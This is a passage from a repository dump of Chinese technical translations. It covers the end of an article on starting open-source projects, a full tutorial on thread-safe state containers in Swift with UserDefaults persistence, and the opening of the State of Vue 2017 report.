repository](https://blog.algolia.com/wp-content/uploads/2017/12/image2-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image2-2.png)\n\n_[示例](https://twitter.com/vvoyer/status/744986995630424064)：去复兴一个遗弃的项目_\n\n## 创建自己的项目\n\n发掘自己项目的最好方法就是**关注一些如今还没有很好解决的问题**。如果你发现，当你需要一个特定的库来解决你的一个问题而未果时，此刻便是你创建一个开源库的最佳时机。\n\n在我职业生涯中还有另外一个**关键时刻**。在 Fasterize，我们需要一个快速且轻量级的图片懒加载器来做我们网站性能加速器，它并不是一个 jQuery 插件，而是一个可在其他网站加载并生效的独立项目。我找了很久也没在整个网络上找到现成的库。于是我说「完了，我没找到一个好的项目，我们没法立项了」。\n\n对此，斯蒂芬回应说「好吧，那我们就创造一个」。嗯～～好吧，我开始复制粘贴一个 [StackOverflow 上的解决方案](https://stackoverflow.com/questions/3228521/stand-alone-lazy-loading-images-no-framework-based) 到 JavaScript 文件夹中，创建了一个[图片懒加载器](https://github.com/vvo/lazyload) 并最终用到了像 [Flipkart.com](https://en.wikipedia.org/wiki/Flipkart) （每月有 2 亿多访问量，印度网站排行第九） 这样的网站上。经过这次成功的实践后，我的思维就被联结到了开源。我突然明白，开源可能是我开发者生涯的另外一部分，而不是一个只有传说和神话的 [10x 程序员](http://antirez.com/news/112)才胜任的领域。\n\n[![Stack Overflow screenshot ](https://blog.algolia.com/wp-content/uploads/2017/12/image1-3.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image1-3.png)\n\n_一个没有很好解决的问题: 以可重用的方式解决它!_\n\n**时间尤为重要**。如果你决定不构建可重用的库，而是在自己的应用程序中内联一些代码，那就错失良机了。可能在某个时候，别人将创建这个本该由你创建的项目。不如即刻从你的应用程序中提取并发布这些可复用模块。\n\n## 发布，推广，分享\n\n为了确保每个有需要的人都乐意来找到你的模块，你必须：\n\n* 撰写一个良好的 [README](https://opensource.guide/starting-a-project/#writing-a-readme)，并配有[版本徽章](https://shields.io/)和知名度指标\n* 为项目创建一个专属且精心设计的在线展示网站。可以在 [Prettier](https://github.com/prettier/prettier) 中找一些灵感\n* 在 StackOverflow 和 GitHub 中找到与你已解决问题的相关提问，并将贴出你的项目作为答案\n* 将你的项目投放在 [HackerNews](https://news.ycombinator.com/submit), [reddit](https://www.reddit.com/r/programming/)，[ProductHunt](https://www.producthunt.com/posts/new)， [Hashnode](https://hashnode.com/) 或者其他汇集开源项目的社区中\n* 在你的新项目中投递关于你的平台的关联信息\n* 参加一些讨论会或者做演讲来介绍你的项目\n\n[![Screenshot of Hacker News post](https://blog.algolia.com/wp-content/uploads/2017/12/image4-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image4-2.png)\n\n_向全世界展示你的新项目_\n\n**不要害怕在太多网站发布信息**，只要你深信自己创造出来的东西是有价值的，那么再多的信息也不为过。总的来说，开源社区是很欢迎分享的。\n\n## 保持耐心持续迭代\n\n在「知名度指标」（star 数和下载数）上，有些项目会在第一天就飞涨，之后便早早地停止上涨了。另外一些项目会在沉淀一年后成为头条最热项目。相信你的项目会在不久后被别人发掘，如果没有，你也将学会一些东西：可能对于其他人来说它是无用的，但对于你的下一个项目来说它将是你的又一笔财富。\n\n**我有很多 star 近似为 0 的项目，比如 [mocha-browse](https://github.com/vvo/mocha-browse)**，但我从不失望，因为我并没有很高的期望。在项目开始是我就这么想：我发现一个好问题，我尽我所能地去解决它，可能有些人会需要它，也可能没有，那又有什么大不了的。\n\n## 一个解决方案的两个项目\n\n这是我在做开源中最喜欢的部分。2015年在 Algolia，我们在寻找一种解决方案可以单元测试和冻结我们使用 [JSX](https://reactjs.org/docs/jsx-in-depth.html) 输出的 html，以便我们为写 React 组件生成我们的 React UI 库 [InstantSearch.js](https://community.algolia.com/instantsearch.js/)。\n\n由于 JSX 被编译成 function 调用的，因此我们当时的解决方案是编写方法 `expect(<Component />).toDeepEqual(<div><span/></div>)`，也只是比较两个 function 的调用输出，但是这些调用输出都是复杂的对象树，在运行时可能会输出`Expected {-type: ‘span’, …}`。输入和输出比较是不可行的，而且开发者在测试时也会抓狂。\n\n为了解决这个问题，我们创建了 [algolia/expect-jsx](https://github.com/algolia/expect-jsx)，他让我们可以在单元测试中使用 JSX 字符串做比较，而不是那些不可读的对象树。测试的输入和输出将使用相同的语义。我们并没有到此为止，我们并不是仅仅发布一个库，而是两个库，其中一个是在第一个的基础上提炼出来的。\n\n* [algolia/react-element-to-jsx-string](https://github.com/algolia/react-element-to-jsx-string) 将JSX函数返回转换为 JSX 字符串\n* [algolia/expect-jsx](https://github.com/algolia/expect-jsx) 用于关联 react-element-to-jsx-string 和断言库 [mjackson/expect](https://github.com/mjackson/expect)\n\n通过发布两个共同解决一个问题的模块，你可以使社区受益于你的底层解决方案，这些方案可以应用在许多不同的项目中，还有一些你甚至想不到的应用方式。\n\n比如，react-element-to-jsx-string 在许多其他的期望测试框架中使用，也有使用在像 [storybooks/addon-jsx](https://github.com/storybooks/addon-jsx) 这类的文档插件上。现在，如果想测试 React 组件的输出结果，使用 [Jest 并进行快照测试](http://facebook.github.io/jest/docs/en/snapshot-testing.html#snapshot-testing-with-jest)，在这种情况下就不在需要 expect-jsx 了。\n\n## 反馈和贡献\n\n[![A fake issue screenshot](https://blog.algolia.com/wp-content/uploads/2017/12/image3-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image3-2.png)\n\n_这里有很多问题，当然，这是我为了好看而伪造的🙂_\n\n一旦你开始了开源的反馈和贡献就要做好开放和乐观的准备。你会得到赞许也会有否定。记住，任何和用户的交流都是一种贡献，尽管这看起来只是抱怨。\n\n首先，要在书面上传达意图或语气并不容易。你可以使用「这很棒、这确实很差劲、我不明白、我很高兴、我很难过」来解释「奇怪了。。」，询问更多的细节并试着重现这个问题，以便更好地理解它是怎么产生的。\n\n一些避免真正抱怨的建议：\n\n* 为了更好地引导用户给予反馈，需要为他们提供一个 [ISSUE_TEMPLATE](https://github.com/blog/2111-issue-and-pull-request-templates)，可以在创建一个新问题时预填模版。\n* 尽量减少对新晋贡献者的阻力。要知道，他们可能还没进入角色状态并很乐意向你学习。不要因为缺少分号 `;` 就拒绝他们的合并请求，要让他们有安全感。你可以温和的请求他们将其补上，如果这招没用，你可以就直接合并代码，然后自己编写测试和文档。\n\n## 最后\n\n感谢你的阅读，我希望你会喜欢这篇文章，并能帮你找到你想要帮助或者创建的项目。对开源社区做贡献是扩展你的技能的好方法，对每个开发者来说并不是强制性的体验，而是一个走出你的舒适区的好机会。\n\n我现在很期待你的第一个或下一个开放源码项目，可以在 Twitter 上 @ 我 [@vvoyer](https://twitter.com/vvoyer)，我很乐意给你一些建议。\n\n如果你喜欢开源，并且想在公司实践而不是空闲时间，Algolia 已经为 [开源 JavaScript 开发者](https://www.algolia.com/careers#60c7c780-1009-4030-8e44-f653fa2ebd36) 提供岗位了。\n\n其他你可以会喜欢的资源：\n* [opensource.guide](https://opensource.guide/)，学习如何启动和发展你的项目\n* [Octobox](https://octobox.io/)， 将你的 GitHub 通知转成邮件的形式，这是避免因堆积「太多问题」以至于影响关注重要问题的很好的方法\n* [Probot](https://probot.github.io/)，GitHub App 可以自动化和改善你的工作流程，比如关闭一些非常陈旧的问题\n* [Refined GitHub](https://github.com/sindresorhus/refined-github) 在很多层面上为 Github UI 提供了令人钦佩的维护经验\n* [OctoLinker](http://octolinker.github.io/) 为在 Github 上浏览别人的代码提供一种很好的体验\n\n感谢 [Ivana](https://twitter.com/voiceofivana)、[Tiphaine](https://www.linkedin.com/in/tiphaine-gillet-01a3735b/)、[Adrien](https://twitter.com/adrienjoly)、[Josh](https://twitter.com/dzello)、[Peter](https://twitter.com/codeharmonics)、[Raymond](https://twitter.com/rayrutjes)、[zwwill 木羽](https://github.com/zwwill)、[刘文哲](https://github.com/NeoyeElf)、[SeanW20](https://github.com/SeanW20) 为这篇文章作出的帮助、审查和贡献。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/state-containers-in-swift.md",
    "content": "\n> * 原文地址：[Reactive iOS Programming: Lightweight State Containers in Swift](https://www.captechconsulting.com/blogs/state-containers-in-swift)\n> * 原文作者：[Tyler Tillage](https://www.captechconsulting.com/search#q=Tyler Tillage)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/state-containers-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/state-containers-in-swift.md)\n> * 译者：[deepmissea](http://deepmissea.blue)\n> * 校对者：[FlyOceanFish](http://www.jianshu.com/u/48277aa2055d)\n\n# iOS 响应式编程：Swift 中的轻量级状态容器\n\n## 事物的状态\n\n在客户端架构如何工作上，每一个 iOS 和 MacOS 开发者都有不同的细微见解。从最经典的苹果框架所内嵌的 \n[MVC 模式](https://developer.apple.com/library/content/documentation/General/Conceptual/DevPedia-CocoaCore/MVC.html)（读作：臃肿的视图控制器），到那些 MV* 模式（比如 MVP,MVVM），再到听起来有点吓人的 [Viper](https://www.objc.io/issues/13-architecture/viper/)，那么我们该如何选择？\n\n这篇文章并不会回答你的问题，因为正确的答案是**依据环境而定的**。我想要强调的是一个我很喜欢并且经常看到的基本方法，名为**状态容器**。\n\n## 状态容器是什么？\n\n实质上，状态容器只是一个围绕信息的封装，是数据安全输入输出的守护者。他们不是特别在意数据的类型和来源。但是他们非常在意的是当数据**改变**的时候。状态容器的中心思想就是，任何由于状态改变产生的影响都应该以有组织并且可预测这种方式在应用里传递。\n\n> 状态容器以与线程锁相同的方式提供安全的状态。\n\n这并不是一个新的概念，而且它也不是一个你可以集成到整个应用的工具包。状态容器的理念是非常通用的，它可以融入进任何应用程序架构，而无需太多的附加规则。但是它是一个强大的方法，是很多流行库（比如[ReactiveReSwift](https://github.com/ReSwift/ReactiveReSwift)）的核心，比如 [ReSwift](https://github.com/ReSwift/ReSwift)、[Redux](https://github.com/reactjs/redux)、[Flux](https://github.com/facebook/flux) 等等，这些框架的成功和绝对数量说明了状态容器模式在现代移动应用中的有效性。\n\n就像 `ReSwift` 这样的响应式库，状态容器将 `Action` 和 `View` 之间的缺口桥联为单向数据流的一部分。然而即使没有其他两个组件，状态容器也很强力。实际上，他们可以做的比这些库使用的更多。\n\n在这篇文章中，我会演示一个基本的状态容器实现，我已经把它用于各种没有引入大型架构库的项目中。\n\n## 构建一个状态容器\n\n让我们从构建一个基本的 `State` 类开始。\n\n    /// Wraps a piece of state.\n    class State<Type> {\n\n        /// Unique key used to identify the state across the application.\n        let key: String\n        /// Holds the state itself.\n        fileprivate var _value: Type\n\n        /// Used to synchronize changes to the state value.\n        fileprivate let lockQueue: DispatchQueue\n\n        /// Create a state container with the provided `defaultValue`, and associate it with a `key`.\n        init(_ defaultValue: Type, key: String) {\n            self._value = defaultValue\n            self.key = key\n            self.lockQueue = DispatchQueue(label: \"com.stateContainers.\\(key)\", attributes: .concurrent)\n        }\n\n        /// Invoke this method after manipulating the state.\n        func didModify() {\n            print(\"State for key \\(self.key) modified.\")\n        }\n    }\n\n这个基类封装了一个任何 `Type` 的 `_value`，通过一个 `key` 关联，并声明了一个提供 `defaultValue` 的初始化器。\n\n### 读取状态\n\n为了读取我们状态容器的当前值，我们要创建一个计算属性 `value`。\n\n由于状态改变通常是由多线程触发并读取的，所以我们要通过 GCD 使用一个[读写锁](https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock)来确保访问内部 `_value` 属性时的线程安全。\n\n     extension State {\n\n        /// The current state value.\n        var value: Type {\n            var retVal: Type!\n            self.lockQueue.sync {\n                retVal = self._value // I wish there was a `sync` method that inferred a generic return value.\n            }\n            return retVal\n        }\n    }\n\n\n### 改变状态\n\n为了改变状态，我们还要创建一个 `modify(_newValue:)` 函数。虽然我们可以允许直接访问设置器，但在这里的目的是围绕状态改变来定义结构。在使用简单属性设置器的方法中，通过与我们 API 通信修改状态产生的影响。因此，所有的状态改变都必须通过这个方法来达成。\n\n    extension State {\n\n        /// Modifies the receiver by assigning the `newValue`.\n        func modify(_ newValue: Type) {\n            self.lockQueue.async(flags: .barrier) {\n                self._value = newValue\n            }\n\n            // Handle the repercussions of the modificationself.\n            didModify()\n        }\n    }\n\n为了有趣一些，我们自定义一个运算符！\n\n    /// Modifies the receiver by assigning the right-hand side of the operator.\n    func ~> <T>(lhs: State<T>, rhs: T) {\n        lhs.modify(rhs)\n    }\n\n\n### 关于 `didModify()` 方法\n\n`didModify()` 是我们状态容器中最重要的一部分，因为它允许我们定义在状态改变后所触发的行为。为了能够在任何时候这种情况发生时能够执行自定义的逻辑，`State` 的子类可以覆盖这个方法。\n\n`didModify()` 也扮演着另一个角色。如果我们通用的 `Type` 是一个 `class`，状态器就可以无需知道它就可以更改它的属性。因此，我们暴露出 `didModify()` 方法，以便这些类型的更改可以手动传播（见下文）。\n\n这是在处理状态时使用引用类型的固有危险，所以我建议尽可能使用值类型。\n\n### 使用状态容器\n\n下面是如何使用我们 `State` 类的最基本的例子：\n\n    // State wrapping a value type\n    let themeColor = State(UIColor.blue, key: \"themeColor\")\n    print(themeColor.value) // \"UIExtendedSRGBColorSpace 0 0 1 1\"\n\n我们也可以使用`可选`类型：\n\n    // State wrapping an optional value type\n    let appRating = State<Int?>(nil, key: \"appRating\")\n    print(String(describing: appRating.value)) // \"nil\"\n\n改变状态很容易：\n\n    appRating.modify(4)\n    print(String(describing: appRating.value)) // \"Optional(4)\"\n\n    appRating ~> nil\n    print(String(describing: appRating.value)) // \"nil\"\n\n如果我们有无价值的类型（比如在状态改变时，不触发 `didSet` 的类型），我们调用 `didModify()` 方法，让 `State` 知道这个改变：\n\n    classCEO : CustomDebugStringConvertible {\n        var name: String\n\n        init(name: String) {\n            self.name = name\n        }\n\n        var debugDescription: String {\n            return name\n        }\n    }\n\n    // State wrapping a reference type\n    let currentCEO = State(CEO(name: \"John Sculley\"), key: \"currentCEO\")\n    print(currentCEO.value) // \"John Sculley\"\n    // 分配一个新的用户属性，不需要调用 `didSet`\n    currentCEO ~> CEO(name: \"Steve Jobs\")\n    print(currentCEO.value) // \"Steve Jobs\"\n    // 就地修改用户，需要手动调用 `didSet`\n    currentCEO.value.name = \"Tim Cook\"\n    currentCEO.didModify()\n    print(currentCEO.value) // \"Tim Cook\"\n\n手动调用 `didModify()` 是不好的，因为无法知道引用类型的内部属性是否改变，因为他们是可以现场（in-place）改变的，如果你有好的方法，@我 [@TTillage](https://twitter.com/TTillage)!\n\n## 监听状态的改变\n\n现在我们已经建立了一个基本的状态容器，让我们来扩展一下，让它更强大。通过我们的 `didModify()` 方法，我们可以用特定子类的形式添加功能。让我们添加一种方式，来“监听”状态的改变，这样我们的 UI 组件可以在发生更改时自动更新。\n### 定义一个 `StateListener`\n\n第一步，让我们定义一个这样的状态监听器：\n\n    protocol StateListener : AnyObject {\n\n        /// Invoked when state is modified.\n        func stateModified<T>(_ state: State<T>)\n\n        /// The queue to use when dispatching state modification messages. Defaults to the main queue.\n        var stateListenerQueue: DispatchQueue { get }\n    }\n\n    extension StateListener {\n\n        var stateListenerQueue: DispatchQueue {\n            return DispatchQueue.main\n        }\n    }\n\n在状态改变时，监听器会在它选择的 `stateListenerQueue` 上收到 `stateModified(_state:)` 调用，默认是 `DispatchQueue.main`。\n\n### 创建 `MonitoredState` 的子类\n\n下一步，我们定义一个专门的子类，叫做 `MonitoredState`，它会对监听器保持弱引用，并通知他们状态的改变。一个简单的实现方式是使用 `NSHashTable.weakObjects()`。\n\n    class MonitoredState<Type> : State<Type> {\n\n        /// Weak references to all the state listeners.\n        fileprivate let listeners: NSHashTable<AnyObject>\n\n        /// Used to synchronize changes to the listeners.\n        fileprivate let listenerLockQueue: DispatchQueue\n\n        /// Create a state container with the provided `defaultValue`, and associate it with a `key`.\n        override init(_ defaultValue: Type, key: String) {\n            self.listeners = NSHashTable<AnyObject>.weakObjects()\n            self.listenerLockQueue = DispatchQueue(label: \"com.stateContainers.listeners.\\(key)\", attributes: .concurrent)\n            super.init(defaultValue, key: key)\n        }\n\n        /// All of the listeners associated with the receiver.\n        var allListeners: [StateListener] {\n            var retVal: [StateListener] = []\n            self.listenerLockQueue.sync {\n                retVal = self.listeners.allObjects.map({ $0 as? StateListener }).flatMap({ $0 }) // remove `nil` values\n            }\n            return retVal\n        }\n\n        /// Notifies all listeners that something changed.\n        override func didModify() {\n            super.didModify()\n\n            let allListeners = self.allListeners\n\n            let state = self\n            for l in allListeners {\n                l.stateListenerQueue.async {\n                    l.stateModified(state)\n                }\n            }\n        }\n    }\n\n无论何时 `didModify` 被调用，我们的 `MonitoredState` 类调用 `stateModified(_state:)` 上的监听者，简单！\n\n为了添加监听器，我们要定义一个 `attach(listener:)` 方法。和上面的内容很像，在我们的 `listeners` 属性上，使用 `listenerLockQueue` 来设置一个读写锁。\n\n    extension MonitoredState {\n\n        /// Associate a listener with the receiver's changes.\n        func attach(listener: StateListener) {\n            self.listenerLockQueue.sync(flags: .barrier) {\n                self.listeners.add(listener as AnyObject)\n            }\n        }\n    }\n\n\n现在可以监听任何封装在 `MonitoredState` 里任何值的改变了！\n### 根据状态的改变来触发 UI 的更新\n\n下面是一个如何使用我们新的 `MonitoredState` 类的例子。假设我们在 `MonitoredState` 容器中追踪设备的位置：\n\n    /// The device's current location.\n    let deviceLocation = MonitoredState<CLLocation?>(nil, key: \"deviceLocation\")\n\n\n我们还需要一个视图控制器来展示当前设备在地图上的位置：\n\n\n    // Centers a map on the devices's current locationclass\n    LocationViewController : UIViewController {\n\n        @IBOutlet var mapView: MKMapView!\n\n        override func viewDidLoad() {\n            super.viewDidLoad()\n            self.updateMapForCurrentLocation()\n        }\n\n        func updateMapForCurrentLocation() {\n            if let currentLocation = deviceLocation.value {\n                // Center the map on the device's location\n                self.mapView.setCenter(currentLocation.coordinate, animated: true)\n            }\n        }\n    }\n\n\n由于我们需要在 `deviceLocation` 改变的时候更新地图，所以要把 `LocationViewController` 扩展为一个 `StateListener`：\n\n    extension LocationViewController : StateListener {\n\n        func stateModified<T>(_state: State<T>) {\n            ifstate === deviceLocation {\n                print(\"Location changed, updating UI\")\n                self.updateMapForCurrentLocation()\n            }\n        }\n    }\n\n\n然后记住使用 `attach(listener:)` 把视图控制器附加到状态。实际上，这个操作可以在 `viewDidLoad`，`init` 或者任何你想要开始监听的时候来做。\n\n    let vc = LocationViewController()\n    deviceLocation.attach(listener: vc)\n\n\n现在我们正监听 `deviceLocation`，一旦我们从 `CoreLocation` 得到一个新的定位，我们所要做的只是改变我们的状态容器，我们的视图控制器会自动的更新位置！\n\n    func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) {\n        if let closestLocation = locations.first {\n            // Triggers `updateMapForCurrentLocation` on the VC asynchronously on the main queue\n            deviceLocation ~> closestLocation\n        }\n    }\n\n\n值得注意的是，由于我们使用了一个弱引用 `NSHashTable`，在视图控制器被销毁时，`allListeners` 属性永远也不会有 `deviceLocation`。没有必要“移除”监听器。\n\n记住，在真实的使用场景里，要确保视图控制器的 `view` 在执行更新 UI 之前是可见的。\n\n## 保持状态\n\nOK，现在我们正在获得好的东东。我们可以把现在所需要的一切装在状态容器里，并且**保持**可以随时随地使用。\n\n1. 我们现在有一个唯一的 `key` 用于与后备存储关联。\n2. 我们知道值的 `Type`，通知它应该如何保持。\n3. 我们知道什么时候值需要从存储器中加载，使用 `init(_defaultValue:key:)` 方法。\n4. 我们知道什么时候值需要被保存在存储器中，使用 `didModify()` 方法。\n\n### 使用 `UserDefaults` \n\n让我们创建一个状态容器，它可以**自动地**保存任何改变到 `UserDefaults.standard` 中，并且在初始化的时候重新加载之前的这些值。它同时支持可选类型和非可选类型。他也会自动序列化和反序列化符合 `NSCoding` 的类型，即使 `UserDefaults` 并没有直接支持 `NSCoding` 的使用。\n\n这里是代码，我会在下面讲解。\n\n    class UserDefaultsState<Type> : MonitoredState<Type> {\n\n        ///1) Loads existing value from `UserDefaults.standard`if it exists, otherwise falls back to the `defaultValue`.\n        public override init(_defaultValue:Type, key:String) {\n            let existingValue = UserDefaults.standard.object(forKey: key)\n            if let existing = existingValue as? Type {\n                //2) Non-NSCoding value\n                print(\"Loaded \\(key) from UserDefaults\")\n                super.init(existing, key: key)\n            } elseif let data = existingValue as? Data, let decoded = NSKeyedUnarchiver.unarchiveObject(with: data) as? Type {\n                //3) NSCoding value\n                print(\"Loaded \\(key) from UserDefaults\")\n                super.init(decoded, key: key)\n            } else {\n                //4) No existing value\n                super.init(defaultValue, key: key)\n            }\n        }\n\n        ///5) Persists any changes to `UserDefaults.standard`.\n        public override func didModify() {\n            super.didModify()\n\n            let val = self.value\n            if let val = val as? OptionalType, val.isNil {\n                //6) Nil value\n                UserDefaults.standard.removeObject(forKey:self.key)\n                print(\"Removed \\(self.key) from UserDefaults\")\n            } elseif let val = val as? NSCoding {\n                //7) NSCoding value\n                UserDefaults.standard.set(NSKeyedArchiver.archivedData(withRootObject: val), forKey:self.key)\n                print(\"Saved \\(self.key) to UserDefaults\")\n            } else {\n                //8) Non-NSCoding value\n                UserDefaults.standard.set(val, forKey:self.key)\n                print(\"Saved \\(self.key) to UserDefaults\")\n            }\n\n            UserDefaults.standard.synchronize()\n        }\n    }\n\n\n#### `init(_defaultValue:key:)`\n\n1. 我们的初始化方法检查 `UserDefaults.standard` 是否已经包含一个由 `key` 对应的值。\n2. 如果我们能加载一个对象，并且它刚好是基本类型，我们可以立即使用它。\n3. 如果我们加载的是 `Data`，那么使用 `NSKeyedUnarchiver` 解压，它会被 `NSCoding` 存储，然后我们立即使用它。\n4. 如果 `UserDefaults.standard` 里没有和 `key` 匹配的值，我们就使用已提供的 `defaultValue`。\n\n#### `didModify()`\n\n5. 在状态改变的时候，我们想要自动保存我们的状态，这样做的方法依赖于 `Type`\n6. 如果基本类型是 `Optional` 的，并且为 `nil`，我们只需要简单的把值从 `UserDefaults.standard` 移除，检查一个基本类型是否为 `nil` 有点棘手，不过 用协议扩展 `Optional` 是一个解决方法：\n\n```\nprotocol OptionalType {\n\n    /// Whether the receiver is `nil`.var isNil: Bool { get }\n}\n\nextension Optional : OptionalType {\n\n    publicvar isNil: Bool {\n        return self == nil\n    }\n}\n```\n\n7. 如果我们的值符合 `NSCoding`，我们就需要使用 `NSKeyedArchiver` 来把它转换成 `Data`，然后保存它。\n8. 除此之外，我们只需把值直接存储到 `UserDefaults` 中。\n\n现在，如果我们想要获得 `UserDefaults` 的支持，我们要做的仅仅是使用新的 `UserDefaultsState` 类！\n\n    UserDefaults.standard.set(true, forKey: \"isTouchIDEnabled\")\n    UserDefaults.standard.synchronize()\n\n    let isTouchIDEnabled = UserDefaultsState(false, key: \"isTouchIDEnabled\")\n    print(isTouchIDEnabled.value) // \"true\"\n\n    isTouchIDEnabled ~> falseprint(UserDefaults.standard.bool(forKey: \"isTouchIDEnabled\")) // \"false\"\n\n我们的 `UserDefaultsState` 会在其值更改时自动更新它的后台存储。在应用启动的时候，它会自动把 `UserDefaultsState` 中的现有值投入使用。\n\n### 支持其他的数据存储\n\n这只是使用状态容器的例子之一，`State` 如何扩展到智能地存储自己的数据。在我的项目中，也建立了一些子类，当发生更改时，它们将异步地保留到磁盘或钥匙串。你甚至可以通过使用不同的子类来触发与远程服务器的同步或者将指定标记录到分析库中。它毫无限制。\n\n## 应用级别的状态管理\n\n所以这些状态容器放在哪里呢？通常我把他们静态储存到一个 `struct` 里，这样可以在整个应用里访问。这与基于 Flux 库存储全局应用状态有些相似。\n\n    struct AppState {\n        static let themeColor = State(UIColor.blue, key: \"themeColor\")\n        static let appRating = State<Int?>(nil, key: \"appRating\")\n        static let currentCEO = State(CEO(name: \"Tim Cook\"), key: \"currentCEO\")\n        static let deviceLocation = MonitoredState<CLLocation?>(nil, key: \"deviceLocation\")\n        static let isTouchIDEnabled = UserDefaultsState(false, key: \"isTouchIDEnabled\")\n    }\n\n\n你可以使用分离或嵌入式的结构体以及不同的访问级别来调整状态容器的作用域。\n\n## 结论\n\n在状态容器上管理状态有很多好处。以前放在单例上的数据，或在网络代理中传播的数据，现在已经在高层次上浮现出来并且可见。应用程序行为中的所有输入都突然变得清晰可见并且组织严谨。\n\n从 API 响应到特征切换到受保护的钥匙串项，使用状态容器模式是围绕关键信息定义结构的优秀方式。状态容器可以轻松地用于缓存，用户偏好，分析以及应用程序启动之间需要保持的任何事情。\n\n状态容器模式让 UI 组件不用担心如何以及何时生成数据，并开始把焦点转向如何把数据转换成梦幻般的用户体验。\n\n## 关于作者\n\nCapTecher Tyler Tillage 位于[亚特兰大办公室](~/link.aspx?_id=4848D51075504B57822781008FC5CE6F&amp;_z=z)，在[应用设计和开发](~/link.aspx?_id=2C66A2C6A29E47CEB3DC7D3505D0DCF7&amp;_z=z)有超过六年的经验。 他专注于移动和 web 的前端产品，并且热衷于使用成熟的设计模式和技术来构建卓越的用户体验。Tyler 曾为每个月数百万用户使用的零售和银行业构建 iOS 应用程序。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/state-of-vue-report-2017.md",
    "content": "![2017-11-20_182302](https://user-images.githubusercontent.com/26959437/33013724-005297ca-ce20-11e7-8682-97b56068e933.png)\n\n# Vue 2017 报告\n\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * Event Organizer：[leviding](https://github.com/leviding)\n> * Translaters：[sasa-m](https://github.com/sasa-m)、[altairlu](https://github.com/altairlu)、[ParadeTo](https://github.com/ParadeTo)、[ly525](https://github.com/ly525)、[zwwill](https://github.com/zwwill)、[html5challenge](https://github.com/html5challenge)、[vxqqb](https://github.com/vxqqb)\n> * Reviewers：[leviding](https://github.com/leviding)、[ParadeTo](https://github.com/ParadeTo)、[PCAaron](https://github.com/PCAaron)、[vxqqb](https://github.com/vxqqb)、[zwwill](https://github.com/zwwill)、[caoyi0905](https://github.com/caoyi0905)、[JohnJiangLA](https://github.com/JohnJiangLA)、[html5challenge](https://github.com/html5challenge)、[iFwu](https://github.com/iFwu)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/state-of-vue-report-2017.md](https://github.com/xitu/gold-miner/blob/master/TODO/state-of-vue-report-2017.md)\n\n## 序\n\n几年前，Monterail 因其在 Ruby 和 Rail上 的专业建树，还是一家享有盛誉的软件开发商。不过现在看来，Monterail 和她的产品似乎有点过时了。当我们用 Ruby开发传统多页面应用程序时，很快意识到，随着技术的进步和发展，许多好的开发实践和规范已经发生了变化。因循守旧是无法满足市场需求的，在2011年，我们选择了 Backbone.js 作为我们涉足的第一个 js 框架。我们一直都积极地关注这个快速变化的世界，较早地采用了 Angular JS， 而且对其非常精通。如今，新一代的基于组件的开发框架里，我们团队已经研究了 React ( 包括 React Native ), Angula r( angular2 及以上)和使用最广泛的 Vue.js！\n\n### 熟悉的不一定是好的\n\n那些要求用 Vue 开发应用程序的客户在此之前，都没有听说过 Vue。可当他们使用后，都对 Vue 的扩展性和能力留下深刻印象，并希望在他们技术栈中包含 Vue。\n我们认为，很多公司之所以使用那些选择有名的框架，并非是因为全面考虑相关信息做出的决定，而只是因为那些框架比较出名和耳熟而已。他们并没有意识到，名不见经传的 Vue 结合了 Angular，React 的先进的部分，并且更加友好。\n\n### 为什么要做这份调查\n\n当使用 Vue 后，我们能够更有效率地交付更好的产品，更好地推动我们的业务，使客户更加满意，我们相信，Vue 值得关注并受到大家的喜爱。正因如此，我们决心开始向发者们和企业布道，把 Vue 传播到全世界；同时，我们策划了每周的 Vue-newsletter,组织了第一个 Vue.js 的国际性大会 VueConf，创建了 Vuelidate 和 Vue-mulitselect 等 Vue 库。\n\n你即将阅读的这份报告我们是布道与宣传 Vue 的另一个里程碑。报告有三个主要目的。1.提供可信赖的 Vue 商业使用案例，让任何人都能够一窥其它公司是如何使用 Vue；2.让那些没有听说 Vue 的人了解 Vue，并让他们有足够的理由来更加仔细了解这个框架；3.让我们不再费力地说服客户相信 Vue.js 已经是一个成熟的解决方案，可以帮我们构建各类应用。\n\n### 报告的内容\n\n享受阅读吧！\n\n**报告**展示了从企业主和开发者的角度去看待 Vue。我们调查了来自88个国家的1100多名行业专家，了解他们对于 Vue 的使用体验，他们喜欢的特性和那些不喜欢的特性；我们深入采访了6家公司，询问他们想用 Vue.js 解决哪些问题；另外，为了让读者对 Vue 近几年的发展有一个全面的了解，我们讲述了 Vue.js 